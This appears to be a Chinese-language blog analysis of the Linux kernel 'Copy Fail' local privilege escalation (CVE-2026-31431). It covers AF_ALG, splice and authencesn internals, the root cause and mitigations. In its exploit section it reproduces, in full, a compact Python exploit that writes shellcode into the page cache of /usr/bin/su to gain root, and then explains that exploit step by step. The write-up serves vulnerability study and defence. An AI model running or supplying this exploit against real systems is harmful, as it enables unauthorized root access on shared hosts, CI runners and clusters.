0x00 序言#
似乎每次核弹级漏洞爆出的时间点都是在长假前,毫不体谅广大应急人员。Copy Fail漏洞于2026年4月29日公开,以其罕见的易用性和通用性迅速传播,到今天互联网上已有大量分析文章,足见其影响力。仅从单机视角看,Copy Fail表现为本地提权漏洞;但由于漏洞原语作用于页面缓存,在多用户主机、CI runner以及容器集群等共享内核场景下,其影响会被进一步放大。本文先介绍该漏洞在本地提权场景下的技术原理、利用方式以及缓解措施。
0x01 前置知识#
-
LPE:Local Privilege Escalation,本地提权漏洞。能够在已有普通用户权限的前提下提升至root权限。
-
AEAD:Authenticated Encryption with Associated Data,带关联数据的认证加密。IPsec的一种机制,同时提供加密和认证。
-
AAD:Associated Authenticated Data,关联认证数据。数据包中不加密的部分,如IPsec中的SPI、序列号、IP等,需要保证完整性,因此用于计算HMAC。
-
authencesn:Linux内核Crypto API的一个AEAD模版,用于支持IPsec ESP模式下64位的扩展序列号ESN计算。ESN的高位4字节seq_hi在本地存储,低位4字节seq_lo来自于网络传输的数据包。因此,在计算HMAC时,需要对数据重排后才能计算。 -
AF_ALG:一种socket类型,能够将内核Crypto API暴露给用户空间,允许用户将套接字绑定到任意AEAD模版,如authencesn。 -
splice():一个Linux中的零拷贝API,用于减少在网络通信等场景下数据在磁盘、内核缓冲区和用户缓冲区等区块来回拷贝的次数。其原型为:
c#include <fcntl.h> ssize_t splice(int fd_in, loff_t *off_in, int fd_out, loff_t *off_out, size_t len, unsigned int flags);
其中fd_in 为输入文件描述符,fd_out为输出文件描述符,两个之中必须有一个为管道。现代Linux系统中的管道是内存页引用的容器,因此,当调用splice(file_fd, ..., pipe_fd, ...)时,函数只把file_fd对应的物理页页面缓存的引用填入pipe_fd,不需要进行实际数据读写。
- scatterlist:Linux内核中用于描述分散物理内存片段的数据结构,常见于scatter-gather I/O与DMA相关场景,后文简称SGL。一个scatterlist结构体可以描述一个物理页面或页面中的一段数据,通过
page_link字段关联对应页面。scatterlist数组则可以把多个离散页面组织成逻辑上的连续数据流,供加密、网络、块设备等子系统处理。需要注意的是,page_link的低位会被用作标志位,其中SG_CHAIN若为1,则说明该项不直接指向数据页,而是指向另一个scatterlist数组。
0x02 漏洞原理#
Copy Fail ↗ (CVE-2026-31431) is a logic bug in the Linux kernel’s authencesn cryptographic template. It lets an unprivileged local user trigger a deterministic, controlled 4-byte write into the page cache of any readable file on the system. A single 732-byte Python script can edit a setuid binary and obtain root on essentially all Linux distributions shipped since 2017.
简而言之,该漏洞允许攻击者对任意可读文件的页面缓存写入4字节的可控字符。因此,攻击者只要选择任意SUID文件,将shellcode写入页面缓存后通过execve等API并执行该文件,系统会使用页面缓存中受污染的代码,即可以root权限执行代码,实现提权。该漏洞由三个不同时期引入的变更导致,下文简要介绍所涉及的机制。
1. AF_ALG原地处理优化#
AF_ALG套接字调用recv()接受消息时,解密函数的输入是AAD||ciphertext||tag,AAD的长度为assoclen, ciphertext||tag的长度为cryptlen,标签的长度为authsize。关键的是,该函数对接收缓冲区的处理采用了部分就地操作的方式,并没有完全建立新的缓冲区。其中,AAD和密文部分从输入SGL逐字节正常复制到输出SGL中,但最后的标签字段,内核使用sg_chain()设置SG_CHAIN标志位,直接将输出SGL的末尾链接到输入SGL的标签字段。
因此,输出SGL可以视为两部分,一部分是新的用户缓冲区,其内容为复制而来的AAD和密文,另一部分则是链接到原输入缓冲区的标签部分。这一优化的问题在于混淆了应作为只读区域的输入SGL和可写的输出SGL,使不同权限的区域间缺少必要的隔离,仅依赖算法自身的实现正确。
2. AF_ALG 与 splice() 的结合使用#
splice()函数可以构造解密函数的输入,进而控制标签字段的值。如果将某个可读文件通过splice()提供给AF_ALG套接字,就能使输出SGL的标签字段指向的文件页面缓存可控,为后续利用创造了有利可图的内存布局。
3. authencesn越界写入#
现在离漏洞成立仅差一个存在越界写的AEAD模版算法了,而authencesn就是这个算法。如前文所述,计算HMAC前需要对输出SGL进行重排。根据要求,authencesn需要将seq_hi放在哈希函数输入的最前面,而在最后附加上seq_lo。即:
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0); // read AAD bytes 0–7
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1); // overwrite dst[4..7] with seqno_hi
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1); // write seqno_lo after the tagc其中scatterwalk_map_and_copy()函数原型为
void scatterwalk_map_and_copy (void *buf, struct scatterlist *sg, unsigned int start, unsigned int nbytes, int out)cout参数表示数据传输的方向,0 代表从sg中读取到buf;1 代表从buf写入到sg。
因此,第一行代码从AAD中读取8字节到临时缓冲区中,第二行代码将seq_hi写到dst[4..7]。上述操作后续都会恢复,因此对本文不重要。第三行中,函数将seq_lo写入dst[assoclen + cryptlen],也即在AAD||ciphertext||tag后附加上了seq_lo,越出了安全区域,发生越界写。计算HMAC后,该函数也没有对这个位置进行恢复。seq_lo来源于AAD的4-7字节,可由攻击者通过sendmsg()控制。
综上,攻击者能够对任意可读文件写入4字节的可控字符。对于写入位置,攻击者能够控制splice()函数中输入文件的偏移和输入长度,故而能够覆盖任意位置的4字节,通过循环则能够写入任意长度的shellcode。以上为该漏洞的技术原理。
0x03 EXP解析#
732字节的Python EXP脚本是漏洞作者引以为傲的一个特点,本节简单解析一下所给出的脚本。
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")python1. d(x)#
工具函数,用于将16进制shellcode转为bytes。
2. c(f,t,c)#
参数中,f为目标文件, t为文件偏移值, c为需写入内容。
- 创建
AF_ALG套接字并绑定到authencesn上,使用setsockopt设置相关参数,将authsize设为4,调用accept()后返回套接字u。 - 通过
sendmsg()构造8字节的AAD,其中4-7字节为恶意代码。 - 进行两次
splice(),将长度为t+4的页面引用送入套接字u。 - 执行
u.recv(t+8)。此时AAD长度为8,密文与标签长度为t,因此页面引用中剩余的4字节被修改为c。
3. 主函数#
循环调用实现任意长度的shellcode覆写。
0x04 缓解措施#
最直接的修复方式是升级到包含补丁的内核版本,使AF_ALG不再把只读输入SGL链入可写输出SGL,从源头消除越界写落到页面缓存的条件。在无法立即升级内核时,可以考虑临时禁用algif_aead模块或限制不可信用户对相关Crypto API的访问,以降低漏洞可达性。需要注意的是,清理页面缓存、重启服务或替换单个被投毒文件只能消除已经发生的污染,并不能修复漏洞本身。
0x05 结语#
相较于其它常用的Linux提权漏洞,Copy Fail影响面巨大,近年主流Linux发行版均受影响。相较于竞态类漏洞,Copy Fail具备较强的稳定性,不容易造成系统崩溃。此外,该漏洞完全基于内存页面缓存进行,无文件落地,检测难度较大。
从披露方描述来看,该漏洞也是AI辅助漏洞挖掘中影响较大、利用链条较完整的案例之一。无论从发现方式还是漏洞形态看,它都说明AI正在改变安全研究的工作流。
来自披露者的技术分析写得非常详尽细致,推荐阅读。本文主要关注本地提权场景,后续容器与Kubernetes场景可见下篇:CVE-2026-31431 Copy Fail浅析(下):容器逃逸。